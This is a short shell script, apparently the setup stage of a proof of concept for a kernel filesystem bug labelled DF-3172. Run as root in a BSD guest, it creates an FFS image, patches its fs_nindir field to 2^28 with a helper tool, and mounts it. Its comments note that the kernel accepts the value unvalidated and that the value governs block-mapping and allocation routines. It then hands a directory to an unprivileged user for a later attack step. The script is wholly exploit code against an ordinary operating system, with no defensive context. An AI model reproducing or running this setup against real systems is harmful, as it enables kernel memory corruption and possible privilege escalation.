#!/bin/sh
# DF-3172 aimed-variant setup — run IN the guest as root.
# Legit newfs -b 4096 image, then patch fs_nindir to M = 0x10000000
# (2^28). ffs_mountfs accepts it unvalidated (ffs_vfsops.c:642-646,
# ump->um_nindir at :729). NINDIR(fs) = M now governs ufs_bmaparray,
# ffs_balloc and ffs_indirtrunc.
set -e
cd /root/df3172
umount /mnt/poc 2>/dev/null || true
vnconfig -u vn0 2>/dev/null || true
truncate -s 128M ffsaim.img
vnconfig -c vn0 ffsaim.img
newfs -b 4096 /dev/vn0 > newfs.out 2>&1
vnconfig -u vn0
./craft64 ffsaim.img 116 0x10000000 4
vnconfig -c vn0 ffsaim.img
mkdir -p /mnt/poc
mount -t ufs /dev/vn0 /mnt/poc
mkdir -p /mnt/poc/d
chown maxx:maxx /mnt/poc/d
chmod 755 /mnt/poc /mnt/poc/d
echo SETUPB_OK
